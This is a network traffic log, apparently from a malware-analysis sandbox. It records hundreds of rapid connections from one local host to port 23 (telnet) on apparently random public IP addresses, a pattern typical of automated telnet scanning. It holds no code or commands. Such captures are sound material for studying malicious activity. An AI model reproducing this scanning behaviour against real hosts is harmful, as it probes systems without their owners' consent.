Jan 5, 2025 14:26:57.196861029 CET	57214	23	192.168.2.13	111.161.213.66
Jan 5, 2025 14:26:57.196870089 CET	57214	23	192.168.2.13	2.145.221.106
Jan 5, 2025 14:26:57.196871996 CET	57214	23	192.168.2.13	63.98.28.205
Jan 5, 2025 14:26:57.196871996 CET	57214	23	192.168.2.13	190.213.174.119
Jan 5, 2025 14:26:57.196876049 CET	57214	23	192.168.2.13	64.229.172.91
Jan 5, 2025 14:26:57.196876049 CET	57214	23	192.168.2.13	160.41.28.161
Jan 5, 2025 14:26:57.196876049 CET	57214	23	192.168.2.13	137.226.138.111
Jan 5, 2025 14:26:57.196877956 CET	57214	23	192.168.2.13	154.182.1.140
Jan 5, 2025 14:26:57.196877956 CET	57214	23	192.168.2.13	210.146.178.35
Jan 5, 2025 14:26:57.196878910 CET	57214	23	192.168.2.13	13.115.5.156
Jan 5, 2025 14:26:57.196877956 CET	57214	23	192.168.2.13	115.125.134.17
Jan 5, 2025 14:26:57.196887970 CET	57214	23	192.168.2.13	162.174.86.128
Jan 5, 2025 14:26:57.196888924 CET	57214	23	192.168.2.13	168.77.86.202
Jan 5, 2025 14:26:57.196897984 CET	57214	23	192.168.2.13	180.35.4.92
Jan 5, 2025 14:26:57.196898937 CET	57214	23	192.168.2.13	98.171.131.148
Jan 5, 2025 14:26:57.196902990 CET	57214	23	192.168.2.13	216.70.72.255
Jan 5, 2025 14:26:57.196917057 CET	57214	23	192.168.2.13	72.59.93.82
Jan 5, 2025 14:26:57.196917057 CET	57214	23	192.168.2.13	13.38.40.61
Jan 5, 2025 14:26:57.196917057 CET	57214	23	192.168.2.13	223.76.139.194
Jan 5, 2025 14:26:57.196927071 CET	57214	23	192.168.2.13	123.235.191.156
Jan 5, 2025 14:26:57.196927071 CET	57214	23	192.168.2.13	63.165.156.182
Jan 5, 2025 14:26:57.196927071 CET	57214	23	192.168.2.13	58.205.13.79
Jan 5, 2025 14:26:57.196940899 CET	57214	23	192.168.2.13	222.100.16.5
Jan 5, 2025 14:26:57.196940899 CET	57214	23	192.168.2.13	168.225.220.15
Jan 5, 2025 14:26:57.196940899 CET	57214	23	192.168.2.13	74.64.2.211
Jan 5, 2025 14:26:57.196964979 CET	57214	23	192.168.2.13	42.107.231.192
Jan 5, 2025 14:26:57.196964979 CET	57214	23	192.168.2.13	108.39.128.249
Jan 5, 2025 14:26:57.196964979 CET	57214	23	192.168.2.13	116.104.162.86
Jan 5, 2025 14:26:57.196964979 CET	57214	23	192.168.2.13	24.12.211.167
Jan 5, 2025 14:26:57.196968079 CET	57214	23	192.168.2.13	81.1.196.98
Jan 5, 2025 14:26:57.196968079 CET	57214	23	192.168.2.13	42.35.178.101
Jan 5, 2025 14:26:57.196968079 CET	57214	23	192.168.2.13	207.252.64.127
Jan 5, 2025 14:26:57.196969032 CET	57214	23	192.168.2.13	20.132.199.226
Jan 5, 2025 14:26:57.196968079 CET	57214	23	192.168.2.13	86.76.31.177
Jan 5, 2025 14:26:57.196968079 CET	57214	23	192.168.2.13	113.253.214.10
Jan 5, 2025 14:26:57.196971893 CET	57214	23	192.168.2.13	146.18.2.74
Jan 5, 2025 14:26:57.196971893 CET	57214	23	192.168.2.13	165.238.116.233
Jan 5, 2025 14:26:57.196974039 CET	57214	23	192.168.2.13	99.40.151.35
Jan 5, 2025 14:26:57.196974039 CET	57214	23	192.168.2.13	75.62.156.64
Jan 5, 2025 14:26:57.196978092 CET	57214	23	192.168.2.13	137.90.197.126
Jan 5, 2025 14:26:57.196978092 CET	57214	23	192.168.2.13	99.71.60.38
Jan 5, 2025 14:26:57.196978092 CET	57214	23	192.168.2.13	169.23.252.191
Jan 5, 2025 14:26:57.196981907 CET	57214	23	192.168.2.13	51.247.176.245
Jan 5, 2025 14:26:57.196986914 CET	57214	23	192.168.2.13	167.113.246.211
Jan 5, 2025 14:26:57.196988106 CET	57214	23	192.168.2.13	120.255.125.24
Jan 5, 2025 14:26:57.196988106 CET	57214	23	192.168.2.13	201.181.163.157
Jan 5, 2025 14:26:57.196988106 CET	57214	23	192.168.2.13	71.152.58.6
Jan 5, 2025 14:26:57.196988106 CET	57214	23	192.168.2.13	47.159.27.216
Jan 5, 2025 14:26:57.196989059 CET	57214	23	192.168.2.13	191.221.179.202
Jan 5, 2025 14:26:57.196989059 CET	57214	23	192.168.2.13	54.235.147.57
Jan 5, 2025 14:26:57.196989059 CET	57214	23	192.168.2.13	185.171.205.27
Jan 5, 2025 14:26:57.196989059 CET	57214	23	192.168.2.13	77.105.152.221
Jan 5, 2025 14:26:57.196995974 CET	57214	23	192.168.2.13	220.108.134.50
Jan 5, 2025 14:26:57.196994066 CET	57214	23	192.168.2.13	177.172.41.244
Jan 5, 2025 14:26:57.196994066 CET	57214	23	192.168.2.13	121.56.208.134
Jan 5, 2025 14:26:57.197002888 CET	57214	23	192.168.2.13	74.40.183.249
Jan 5, 2025 14:26:57.197002888 CET	57214	23	192.168.2.13	90.77.69.66
Jan 5, 2025 14:26:57.197004080 CET	57214	23	192.168.2.13	125.38.217.80
Jan 5, 2025 14:26:57.197004080 CET	57214	23	192.168.2.13	191.211.84.181
Jan 5, 2025 14:26:57.197004080 CET	57214	23	192.168.2.13	219.98.172.140
Jan 5, 2025 14:26:57.197006941 CET	57214	23	192.168.2.13	201.145.37.25
Jan 5, 2025 14:26:57.197015047 CET	57214	23	192.168.2.13	76.213.101.23
Jan 5, 2025 14:26:57.197041035 CET	57214	23	192.168.2.13	110.252.50.242
Jan 5, 2025 14:26:57.197043896 CET	57214	23	192.168.2.13	100.228.154.183
Jan 5, 2025 14:26:57.197043896 CET	57214	23	192.168.2.13	72.199.25.226
Jan 5, 2025 14:26:57.197043896 CET	57214	23	192.168.2.13	144.186.123.239
Jan 5, 2025 14:26:57.197043896 CET	57214	23	192.168.2.13	157.51.246.235
Jan 5, 2025 14:26:57.197046041 CET	57214	23	192.168.2.13	99.226.97.226
Jan 5, 2025 14:26:57.197043896 CET	57214	23	192.168.2.13	213.130.172.131
Jan 5, 2025 14:26:57.197057009 CET	57214	23	192.168.2.13	221.84.11.165
Jan 5, 2025 14:26:57.197057009 CET	57214	23	192.168.2.13	69.44.174.110
Jan 5, 2025 14:26:57.197058916 CET	57214	23	192.168.2.13	165.250.226.174
Jan 5, 2025 14:26:57.197057009 CET	57214	23	192.168.2.13	221.108.125.160
Jan 5, 2025 14:26:57.197058916 CET	57214	23	192.168.2.13	2.64.150.1
Jan 5, 2025 14:26:57.197062016 CET	57214	23	192.168.2.13	14.92.121.223
Jan 5, 2025 14:26:57.197063923 CET	57214	23	192.168.2.13	187.29.120.113
Jan 5, 2025 14:26:57.197063923 CET	57214	23	192.168.2.13	103.46.144.173
Jan 5, 2025 14:26:57.197083950 CET	57214	23	192.168.2.13	76.30.75.55
Jan 5, 2025 14:26:57.197084904 CET	57214	23	192.168.2.13	204.243.82.20
Jan 5, 2025 14:26:57.197086096 CET	57214	23	192.168.2.13	183.62.171.49
Jan 5, 2025 14:26:57.197088957 CET	57214	23	192.168.2.13	188.170.124.204
Jan 5, 2025 14:26:57.197088957 CET	57214	23	192.168.2.13	78.190.216.139
Jan 5, 2025 14:26:57.197088957 CET	57214	23	192.168.2.13	100.25.197.101
Jan 5, 2025 14:26:57.197092056 CET	57214	23	192.168.2.13	58.41.24.110
Jan 5, 2025 14:26:57.197092056 CET	57214	23	192.168.2.13	27.190.25.242
Jan 5, 2025 14:26:57.197092056 CET	57214	23	192.168.2.13	44.201.159.118
Jan 5, 2025 14:26:57.197099924 CET	57214	23	192.168.2.13	76.198.233.7
Jan 5, 2025 14:26:57.197099924 CET	57214	23	192.168.2.13	179.41.13.156
Jan 5, 2025 14:26:57.197099924 CET	57214	23	192.168.2.13	153.178.57.231
Jan 5, 2025 14:26:57.197103024 CET	57214	23	192.168.2.13	76.97.76.83
Jan 5, 2025 14:26:57.197110891 CET	57214	23	192.168.2.13	104.152.250.23
Jan 5, 2025 14:26:57.197112083 CET	57214	23	192.168.2.13	151.176.75.61
Jan 5, 2025 14:26:57.197112083 CET	57214	23	192.168.2.13	210.3.60.44
Jan 5, 2025 14:26:57.197137117 CET	57214	23	192.168.2.13	58.214.188.245
Jan 5, 2025 14:26:57.197137117 CET	57214	23	192.168.2.13	84.160.175.221
Jan 5, 2025 14:26:57.197137117 CET	57214	23	192.168.2.13	197.166.39.22
Jan 5, 2025 14:26:57.197139025 CET	57214	23	192.168.2.13	66.131.235.122
Jan 5, 2025 14:26:57.197139025 CET	57214	23	192.168.2.13	174.32.222.199
Jan 5, 2025 14:26:57.197144032 CET	57214	23	192.168.2.13	144.160.227.56
Jan 5, 2025 14:26:57.197148085 CET	57214	23	192.168.2.13	86.57.231.236
Jan 5, 2025 14:26:57.197161913 CET	57214	23	192.168.2.13	122.168.191.41
Jan 5, 2025 14:26:57.197161913 CET	57214	23	192.168.2.13	101.213.107.38
Jan 5, 2025 14:26:57.197161913 CET	57214	23	192.168.2.13	70.191.24.43
Jan 5, 2025 14:26:57.197161913 CET	57214	23	192.168.2.13	9.102.31.182
Jan 5, 2025 14:26:57.197161913 CET	57214	23	192.168.2.13	12.194.122.34
Jan 5, 2025 14:26:57.197164059 CET	57214	23	192.168.2.13	88.185.209.73
Jan 5, 2025 14:26:57.197165012 CET	57214	23	192.168.2.13	79.240.87.219
Jan 5, 2025 14:26:57.197164059 CET	57214	23	192.168.2.13	122.190.125.84
Jan 5, 2025 14:26:57.197165012 CET	57214	23	192.168.2.13	216.254.220.5
Jan 5, 2025 14:26:57.197164059 CET	57214	23	192.168.2.13	144.28.104.102
Jan 5, 2025 14:26:57.197166920 CET	57214	23	192.168.2.13	165.183.130.0
Jan 5, 2025 14:26:57.197165012 CET	57214	23	192.168.2.13	99.83.211.180
Jan 5, 2025 14:26:57.197169065 CET	57214	23	192.168.2.13	91.31.57.179
Jan 5, 2025 14:26:57.197169065 CET	57214	23	192.168.2.13	57.84.154.100
Jan 5, 2025 14:26:57.197173119 CET	57214	23	192.168.2.13	4.61.240.64
Jan 5, 2025 14:26:57.197173119 CET	57214	23	192.168.2.13	187.203.12.192
Jan 5, 2025 14:26:57.197175026 CET	57214	23	192.168.2.13	154.121.148.251
Jan 5, 2025 14:26:57.197184086 CET	57214	23	192.168.2.13	45.226.81.134
Jan 5, 2025 14:26:57.197186947 CET	57214	23	192.168.2.13	50.116.209.223
Jan 5, 2025 14:26:57.197186947 CET	57214	23	192.168.2.13	149.65.170.235
Jan 5, 2025 14:26:57.197189093 CET	57214	23	192.168.2.13	168.115.179.156
Jan 5, 2025 14:26:57.197189093 CET	57214	23	192.168.2.13	194.171.184.223
Jan 5, 2025 14:26:57.197191954 CET	57214	23	192.168.2.13	43.139.128.55
Jan 5, 2025 14:26:57.197191954 CET	57214	23	192.168.2.13	42.202.98.134
Jan 5, 2025 14:26:57.197207928 CET	57214	23	192.168.2.13	186.197.119.5
Jan 5, 2025 14:26:57.197207928 CET	57214	23	192.168.2.13	146.8.177.20
Jan 5, 2025 14:26:57.197207928 CET	57214	23	192.168.2.13	108.77.214.210
Jan 5, 2025 14:26:57.197208881 CET	57214	23	192.168.2.13	167.31.230.10
Jan 5, 2025 14:26:57.197210073 CET	57214	23	192.168.2.13	176.139.188.192
Jan 5, 2025 14:26:57.197210073 CET	57214	23	192.168.2.13	54.234.204.116
Jan 5, 2025 14:26:57.197210073 CET	57214	23	192.168.2.13	155.34.194.27
Jan 5, 2025 14:26:57.197210073 CET	57214	23	192.168.2.13	124.220.32.13
Jan 5, 2025 14:26:57.197211981 CET	57214	23	192.168.2.13	201.245.236.30
Jan 5, 2025 14:26:57.197211981 CET	57214	23	192.168.2.13	151.124.163.111
Jan 5, 2025 14:26:57.197211981 CET	57214	23	192.168.2.13	179.54.68.12
Jan 5, 2025 14:26:57.197212934 CET	57214	23	192.168.2.13	208.232.196.159
Jan 5, 2025 14:26:57.197220087 CET	57214	23	192.168.2.13	139.72.88.149
Jan 5, 2025 14:26:57.197220087 CET	57214	23	192.168.2.13	189.146.6.74
Jan 5, 2025 14:26:57.197221041 CET	57214	23	192.168.2.13	77.52.93.97
Jan 5, 2025 14:26:57.197222948 CET	57214	23	192.168.2.13	41.133.162.227
Jan 5, 2025 14:26:57.197222948 CET	57214	23	192.168.2.13	84.161.150.161
Jan 5, 2025 14:26:57.197222948 CET	57214	23	192.168.2.13	58.3.31.27
Jan 5, 2025 14:26:57.197222948 CET	57214	23	192.168.2.13	145.164.178.182
Jan 5, 2025 14:26:57.197231054 CET	57214	23	192.168.2.13	19.107.36.87
Jan 5, 2025 14:26:57.197232008 CET	57214	23	192.168.2.13	52.178.59.12
Jan 5, 2025 14:26:57.197238922 CET	57214	23	192.168.2.13	179.140.48.207
Jan 5, 2025 14:26:57.197238922 CET	57214	23	192.168.2.13	170.163.178.228
Jan 5, 2025 14:26:57.197238922 CET	57214	23	192.168.2.13	111.12.138.221
Jan 5, 2025 14:26:57.197238922 CET	57214	23	192.168.2.13	199.120.236.60
Jan 5, 2025 14:26:57.197246075 CET	57214	23	192.168.2.13	134.142.44.45
Jan 5, 2025 14:26:57.197247982 CET	57214	23	192.168.2.13	157.211.207.73
Jan 5, 2025 14:26:57.197247982 CET	57214	23	192.168.2.13	172.107.153.105
Jan 5, 2025 14:26:57.197257042 CET	57214	23	192.168.2.13	113.64.99.152
Jan 5, 2025 14:26:57.197257042 CET	57214	23	192.168.2.13	135.225.225.229
Jan 5, 2025 14:26:57.197258949 CET	57214	23	192.168.2.13	166.66.186.44
Jan 5, 2025 14:26:57.197263002 CET	57214	23	192.168.2.13	122.116.105.204
Jan 5, 2025 14:26:57.197263002 CET	57214	23	192.168.2.13	34.164.212.223
Jan 5, 2025 14:26:57.197271109 CET	57214	23	192.168.2.13	177.14.233.51
Jan 5, 2025 14:26:57.197272062 CET	57214	23	192.168.2.13	128.82.246.12
Jan 5, 2025 14:26:57.197272062 CET	57214	23	192.168.2.13	71.153.110.202
Jan 5, 2025 14:26:57.197272062 CET	57214	23	192.168.2.13	123.208.215.91
Jan 5, 2025 14:26:57.197271109 CET	57214	23	192.168.2.13	216.152.112.252
Jan 5, 2025 14:26:57.197284937 CET	57214	23	192.168.2.13	73.185.228.88
Jan 5, 2025 14:26:57.197287083 CET	57214	23	192.168.2.13	145.180.126.88
Jan 5, 2025 14:26:57.197288990 CET	57214	23	192.168.2.13	144.135.130.228
Jan 5, 2025 14:26:57.197287083 CET	57214	23	192.168.2.13	1.7.7.7
Jan 5, 2025 14:26:57.197289944 CET	57214	23	192.168.2.13	173.155.241.99
Jan 5, 2025 14:26:57.197287083 CET	57214	23	192.168.2.13	91.158.68.7
Jan 5, 2025 14:26:57.197293043 CET	57214	23	192.168.2.13	156.39.241.144
Jan 5, 2025 14:26:57.197289944 CET	57214	23	192.168.2.13	39.129.120.246
Jan 5, 2025 14:26:57.197300911 CET	57214	23	192.168.2.13	59.7.33.57
Jan 5, 2025 14:26:57.197302103 CET	57214	23	192.168.2.13	202.10.63.21
Jan 5, 2025 14:26:57.197315931 CET	57214	23	192.168.2.13	222.156.166.190
Jan 5, 2025 14:26:57.197315931 CET	57214	23	192.168.2.13	119.107.99.246
Jan 5, 2025 14:26:57.197319031 CET	57214	23	192.168.2.13	199.190.94.28
Jan 5, 2025 14:26:57.197319031 CET	57214	23	192.168.2.13	130.182.179.175
Jan 5, 2025 14:26:57.197321892 CET	57214	23	192.168.2.13	88.248.243.223
Jan 5, 2025 14:26:57.197328091 CET	57214	23	192.168.2.13	134.237.89.139
Jan 5, 2025 14:26:57.197328091 CET	57214	23	192.168.2.13	147.221.169.12
Jan 5, 2025 14:26:57.197339058 CET	57214	23	192.168.2.13	133.225.98.36
Jan 5, 2025 14:26:57.197339058 CET	57214	23	192.168.2.13	190.95.92.192
Jan 5, 2025 14:26:57.197346926 CET	57214	23	192.168.2.13	88.180.227.202
Jan 5, 2025 14:26:57.197346926 CET	57214	23	192.168.2.13	217.194.69.39
Jan 5, 2025 14:26:57.197346926 CET	57214	23	192.168.2.13	138.167.167.181
Jan 5, 2025 14:26:57.197346926 CET	57214	23	192.168.2.13	52.55.196.112
Jan 5, 2025 14:26:57.197348118 CET	57214	23	192.168.2.13	98.218.246.22
Jan 5, 2025 14:26:57.197346926 CET	57214	23	192.168.2.13	37.6.25.105
Jan 5, 2025 14:26:57.197348118 CET	57214	23	192.168.2.13	57.52.159.68
Jan 5, 2025 14:26:57.197346926 CET	57214	23	192.168.2.13	92.10.227.189
Jan 5, 2025 14:26:57.197349072 CET	57214	23	192.168.2.13	49.155.161.176
Jan 5, 2025 14:26:57.197349072 CET	57214	23	192.168.2.13	153.239.184.192
Jan 5, 2025 14:26:57.197350025 CET	57214	23	192.168.2.13	205.175.168.123
Jan 5, 2025 14:26:57.197355986 CET	57214	23	192.168.2.13	204.44.58.222
Jan 5, 2025 14:26:57.197355986 CET	57214	23	192.168.2.13	74.99.227.92
Jan 5, 2025 14:26:57.197371006 CET	57214	23	192.168.2.13	92.25.107.101
Jan 5, 2025 14:26:57.197376013 CET	57214	23	192.168.2.13	220.47.52.198
Jan 5, 2025 14:26:57.197376013 CET	57214	23	192.168.2.13	35.60.123.119
Jan 5, 2025 14:26:57.197376013 CET	57214	23	192.168.2.13	35.175.252.151
Jan 5, 2025 14:26:57.197376966 CET	57214	23	192.168.2.13	221.64.163.212
Jan 5, 2025 14:26:57.197376013 CET	57214	23	192.168.2.13	78.51.33.218
Jan 5, 2025 14:26:57.197376966 CET	57214	23	192.168.2.13	199.17.65.100
Jan 5, 2025 14:26:57.197376013 CET	57214	23	192.168.2.13	112.0.140.211
Jan 5, 2025 14:26:57.197376966 CET	57214	23	192.168.2.13	220.243.144.227
Jan 5, 2025 14:26:57.197392941 CET	57214	23	192.168.2.13	70.178.174.240
Jan 5, 2025 14:26:57.197392941 CET	57214	23	192.168.2.13	144.191.238.180
Jan 5, 2025 14:26:57.197396994 CET	57214	23	192.168.2.13	71.248.32.112
Jan 5, 2025 14:26:57.197397947 CET	57214	23	192.168.2.13	126.129.221.25
Jan 5, 2025 14:26:57.197398901 CET	57214	23	192.168.2.13	182.130.225.176
Jan 5, 2025 14:26:57.197396040 CET	57214	23	192.168.2.13	122.113.175.104
Jan 5, 2025 14:26:57.197397947 CET	57214	23	192.168.2.13	4.188.163.171
Jan 5, 2025 14:26:57.197396994 CET	57214	23	192.168.2.13	86.232.113.133
Jan 5, 2025 14:26:57.197397947 CET	57214	23	192.168.2.13	35.57.12.226
Jan 5, 2025 14:26:57.197400093 CET	57214	23	192.168.2.13	102.160.64.4
Jan 5, 2025 14:26:57.197402000 CET	57214	23	192.168.2.13	147.187.17.158
Jan 5, 2025 14:26:57.197397947 CET	57214	23	192.168.2.13	151.107.228.35
Jan 5, 2025 14:26:57.197402000 CET	57214	23	192.168.2.13	132.163.65.66
Jan 5, 2025 14:26:57.197407007 CET	57214	23	192.168.2.13	177.238.89.28
Jan 5, 2025 14:26:57.197407007 CET	57214	23	192.168.2.13	193.190.31.4
Jan 5, 2025 14:26:57.197407961 CET	57214	23	192.168.2.13	106.173.251.241
Jan 5, 2025 14:26:57.197410107 CET	57214	23	192.168.2.13	160.88.191.237
Jan 5, 2025 14:26:57.197411060 CET	57214	23	192.168.2.13	70.54.240.132
Jan 5, 2025 14:26:57.197411060 CET	57214	23	192.168.2.13	14.96.14.197
Jan 5, 2025 14:26:57.197432041 CET	57214	23	192.168.2.13	36.141.102.61
Jan 5, 2025 14:26:57.197432041 CET	57214	23	192.168.2.13	213.117.250.117
Jan 5, 2025 14:26:57.197432995 CET	57214	23	192.168.2.13	104.58.8.186
Jan 5, 2025 14:26:57.197432041 CET	57214	23	192.168.2.13	131.181.232.24
Jan 5, 2025 14:26:57.197432995 CET	57214	23	192.168.2.13	182.77.145.190
Jan 5, 2025 14:26:57.197434902 CET	57214	23	192.168.2.13	115.106.226.20
Jan 5, 2025 14:26:57.197434902 CET	57214	23	192.168.2.13	169.91.183.201
Jan 5, 2025 14:26:57.197442055 CET	57214	23	192.168.2.13	158.111.142.55
Jan 5, 2025 14:26:57.197442055 CET	57214	23	192.168.2.13	69.66.239.176
Jan 5, 2025 14:26:57.197442055 CET	57214	23	192.168.2.13	38.40.166.90
Jan 5, 2025 14:26:57.197448969 CET	57214	23	192.168.2.13	144.173.37.52
Jan 5, 2025 14:26:57.197451115 CET	57214	23	192.168.2.13	223.135.255.250
Jan 5, 2025 14:26:57.197452068 CET	57214	23	192.168.2.13	182.226.198.81
Jan 5, 2025 14:26:57.197453022 CET	57214	23	192.168.2.13	42.195.183.237
Jan 5, 2025 14:26:57.197453022 CET	57214	23	192.168.2.13	110.7.127.8
Jan 5, 2025 14:26:57.197453022 CET	57214	23	192.168.2.13	39.221.33.51
Jan 5, 2025 14:26:57.197459936 CET	57214	23	192.168.2.13	14.182.94.146
Jan 5, 2025 14:26:57.197473049 CET	57214	23	192.168.2.13	189.174.225.204
Jan 5, 2025 14:26:57.197473049 CET	57214	23	192.168.2.13	105.99.254.77
Jan 5, 2025 14:26:57.197473049 CET	57214	23	192.168.2.13	164.199.34.189
Jan 5, 2025 14:26:57.197473049 CET	57214	23	192.168.2.13	103.194.241.130
Jan 5, 2025 14:26:57.197477102 CET	57214	23	192.168.2.13	79.43.245.67
Jan 5, 2025 14:26:57.197477102 CET	57214	23	192.168.2.13	175.136.229.81
Jan 5, 2025 14:26:57.197479010 CET	57214	23	192.168.2.13	147.61.191.173
Jan 5, 2025 14:26:57.197479010 CET	57214	23	192.168.2.13	84.103.154.138
Jan 5, 2025 14:26:57.197479010 CET	57214	23	192.168.2.13	108.202.116.223
Jan 5, 2025 14:26:57.197479010 CET	57214	23	192.168.2.13	169.130.135.200
Jan 5, 2025 14:26:57.197480917 CET	57214	23	192.168.2.13	20.225.241.18
Jan 5, 2025 14:26:57.197479010 CET	57214	23	192.168.2.13	100.218.105.178
Jan 5, 2025 14:26:57.197479010 CET	57214	23	192.168.2.13	216.225.208.137
Jan 5, 2025 14:26:57.197489977 CET	57214	23	192.168.2.13	140.129.245.190
Jan 5, 2025 14:26:57.197495937 CET	57214	23	192.168.2.13	91.31.110.36
Jan 5, 2025 14:26:57.197500944 CET	57214	23	192.168.2.13	106.76.24.25
Jan 5, 2025 14:26:57.197500944 CET	57214	23	192.168.2.13	45.164.9.129
Jan 5, 2025 14:26:57.197500944 CET	57214	23	192.168.2.13	164.74.188.10
Jan 5, 2025 14:26:57.197503090 CET	57214	23	192.168.2.13	181.24.122.99
Jan 5, 2025 14:26:57.197504997 CET	57214	23	192.168.2.13	57.213.207.214
Jan 5, 2025 14:26:57.197504997 CET	57214	23	192.168.2.13	25.31.207.102
Jan 5, 2025 14:26:57.197510958 CET	57214	23	192.168.2.13	192.50.19.249
Jan 5, 2025 14:26:57.197508097 CET	57214	23	192.168.2.13	105.183.199.79
Jan 5, 2025 14:26:57.197510958 CET	57214	23	192.168.2.13	178.124.21.22
Jan 5, 2025 14:26:57.197510958 CET	57214	23	192.168.2.13	106.211.65.123
Jan 5, 2025 14:26:57.197520018 CET	57214	23	192.168.2.13	160.29.241.130
Jan 5, 2025 14:26:57.197521925 CET	57214	23	192.168.2.13	118.55.72.92
Jan 5, 2025 14:26:57.197521925 CET	57214	23	192.168.2.13	195.48.83.240
Jan 5, 2025 14:26:57.197524071 CET	57214	23	192.168.2.13	142.135.179.141
Jan 5, 2025 14:26:57.197525024 CET	57214	23	192.168.2.13	201.22.224.252
Jan 5, 2025 14:26:57.197525024 CET	57214	23	192.168.2.13	31.86.1.18
Jan 5, 2025 14:26:57.197525024 CET	57214	23	192.168.2.13	196.221.234.74
Jan 5, 2025 14:26:57.197530031 CET	57214	23	192.168.2.13	59.110.164.230
Jan 5, 2025 14:26:57.197530031 CET	57214	23	192.168.2.13	150.188.242.182
Jan 5, 2025 14:26:57.197534084 CET	57214	23	192.168.2.13	212.143.178.198
Jan 5, 2025 14:26:57.197534084 CET	57214	23	192.168.2.13	90.197.160.56
Jan 5, 2025 14:26:57.197536945 CET	57214	23	192.168.2.13	147.224.102.240
Jan 5, 2025 14:26:57.197536945 CET	57214	23	192.168.2.13	141.142.109.21
Jan 5, 2025 14:26:57.197536945 CET	57214	23	192.168.2.13	155.76.97.88
Jan 5, 2025 14:26:57.197536945 CET	57214	23	192.168.2.13	80.187.3.155
Jan 5, 2025 14:26:57.197537899 CET	57214	23	192.168.2.13	58.226.146.206
Jan 5, 2025 14:26:57.197550058 CET	57214	23	192.168.2.13	205.30.66.168
Jan 5, 2025 14:26:57.197550058 CET	57214	23	192.168.2.13	92.68.136.118
Jan 5, 2025 14:26:57.197550058 CET	57214	23	192.168.2.13	58.105.145.255
Jan 5, 2025 14:26:57.197552919 CET	57214	23	192.168.2.13	32.159.54.159
Jan 5, 2025 14:26:57.197552919 CET	57214	23	192.168.2.13	169.231.249.24
Jan 5, 2025 14:26:57.197556973 CET	57214	23	192.168.2.13	106.216.154.172
Jan 5, 2025 14:26:57.197556973 CET	57214	23	192.168.2.13	164.2.28.74
Jan 5, 2025 14:26:57.197560072 CET	57214	23	192.168.2.13	65.98.247.129
Jan 5, 2025 14:26:57.197561026 CET	57214	23	192.168.2.13	204.27.147.97
Jan 5, 2025 14:26:57.197565079 CET	57214	23	192.168.2.13	221.62.205.115
Jan 5, 2025 14:26:57.197565079 CET	57214	23	192.168.2.13	218.178.147.148
Jan 5, 2025 14:26:57.197565079 CET	57214	23	192.168.2.13	176.210.53.232
Jan 5, 2025 14:26:57.197565079 CET	57214	23	192.168.2.13	37.51.124.104
Jan 5, 2025 14:26:57.197566986 CET	57214	23	192.168.2.13	167.30.56.118
Jan 5, 2025 14:26:57.197566986 CET	57214	23	192.168.2.13	159.73.209.205
Jan 5, 2025 14:26:57.197582006 CET	57214	23	192.168.2.13	105.12.5.127
Jan 5, 2025 14:26:57.197582006 CET	57214	23	192.168.2.13	79.38.216.229
Jan 5, 2025 14:26:57.197582960 CET	57214	23	192.168.2.13	9.28.241.35
Jan 5, 2025 14:26:57.197582960 CET	57214	23	192.168.2.13	157.37.189.253
Jan 5, 2025 14:26:57.197590113 CET	57214	23	192.168.2.13	178.182.12.59
Jan 5, 2025 14:26:57.197591066 CET	57214	23	192.168.2.13	86.88.77.177
Jan 5, 2025 14:26:57.197594881 CET	57214	23	192.168.2.13	54.129.187.173
Jan 5, 2025 14:26:57.197594881 CET	57214	23	192.168.2.13	94.146.122.86
Jan 5, 2025 14:26:57.197603941 CET	57214	23	192.168.2.13	153.31.12.245
Jan 5, 2025 14:26:57.197603941 CET	57214	23	192.168.2.13	139.52.159.211
Jan 5, 2025 14:26:57.197607994 CET	57214	23	192.168.2.13	18.47.183.171
Jan 5, 2025 14:26:57.197609901 CET	57214	23	192.168.2.13	5.65.100.3
Jan 5, 2025 14:26:57.197606087 CET	57214	23	192.168.2.13	159.153.101.233
Jan 5, 2025 14:26:57.197607994 CET	57214	23	192.168.2.13	13.1.122.199
Jan 5, 2025 14:26:57.197602987 CET	57214	23	192.168.2.13	59.79.87.177
Jan 5, 2025 14:26:57.197613955 CET	57214	23	192.168.2.13	173.194.77.38
Jan 5, 2025 14:26:57.197607040 CET	57214	23	192.168.2.13	81.189.241.103
Jan 5, 2025 14:26:57.197602987 CET	57214	23	192.168.2.13	19.177.54.219
Jan 5, 2025 14:26:57.197602987 CET	57214	23	192.168.2.13	152.221.117.123
Jan 5, 2025 14:26:57.197613955 CET	57214	23	192.168.2.13	19.6.52.80
Jan 5, 2025 14:26:57.197624922 CET	57214	23	192.168.2.13	170.1.18.114
Jan 5, 2025 14:26:57.197624922 CET	57214	23	192.168.2.13	37.223.70.182
Jan 5, 2025 14:26:57.197624922 CET	57214	23	192.168.2.13	112.86.124.40
Jan 5, 2025 14:26:57.197624922 CET	57214	23	192.168.2.13	88.84.76.21
Jan 5, 2025 14:26:57.197626114 CET	57214	23	192.168.2.13	63.94.118.144
Jan 5, 2025 14:26:57.197624922 CET	57214	23	192.168.2.13	142.228.229.111
Jan 5, 2025 14:26:57.197627068 CET	57214	23	192.168.2.13	25.77.132.253
Jan 5, 2025 14:26:57.197626114 CET	57214	23	192.168.2.13	154.95.91.80
Jan 5, 2025 14:26:57.197627068 CET	57214	23	192.168.2.13	80.221.23.196
Jan 5, 2025 14:26:57.197627068 CET	57214	23	192.168.2.13	70.237.226.88
Jan 5, 2025 14:26:57.197626114 CET	57214	23	192.168.2.13	141.14.226.35
Jan 5, 2025 14:26:57.197627068 CET	57214	23	192.168.2.13	220.90.81.123
Jan 5, 2025 14:26:57.197627068 CET	57214	23	192.168.2.13	64.103.225.153
Jan 5, 2025 14:26:57.197627068 CET	57214	23	192.168.2.13	58.232.159.177
Jan 5, 2025 14:26:57.197627068 CET	57214	23	192.168.2.13	179.154.184.102
Jan 5, 2025 14:26:57.197633028 CET	57214	23	192.168.2.13	50.235.229.62
Jan 5, 2025 14:26:57.197627068 CET	57214	23	192.168.2.13	140.238.28.76
Jan 5, 2025 14:26:57.197634935 CET	57214	23	192.168.2.13	174.184.99.246
Jan 5, 2025 14:26:57.197634935 CET	57214	23	192.168.2.13	92.12.195.219
Jan 5, 2025 14:26:57.197642088 CET	57214	23	192.168.2.13	101.42.240.159
Jan 5, 2025 14:26:57.197644949 CET	57214	23	192.168.2.13	20.253.250.36
Jan 5, 2025 14:26:57.197647095 CET	57214	23	192.168.2.13	167.215.79.245
Jan 5, 2025 14:26:57.197657108 CET	57214	23	192.168.2.13	189.198.182.105
Jan 5, 2025 14:26:57.197658062 CET	57214	23	192.168.2.13	171.39.22.178
Jan 5, 2025 14:26:57.197659016 CET	57214	23	192.168.2.13	198.163.47.11
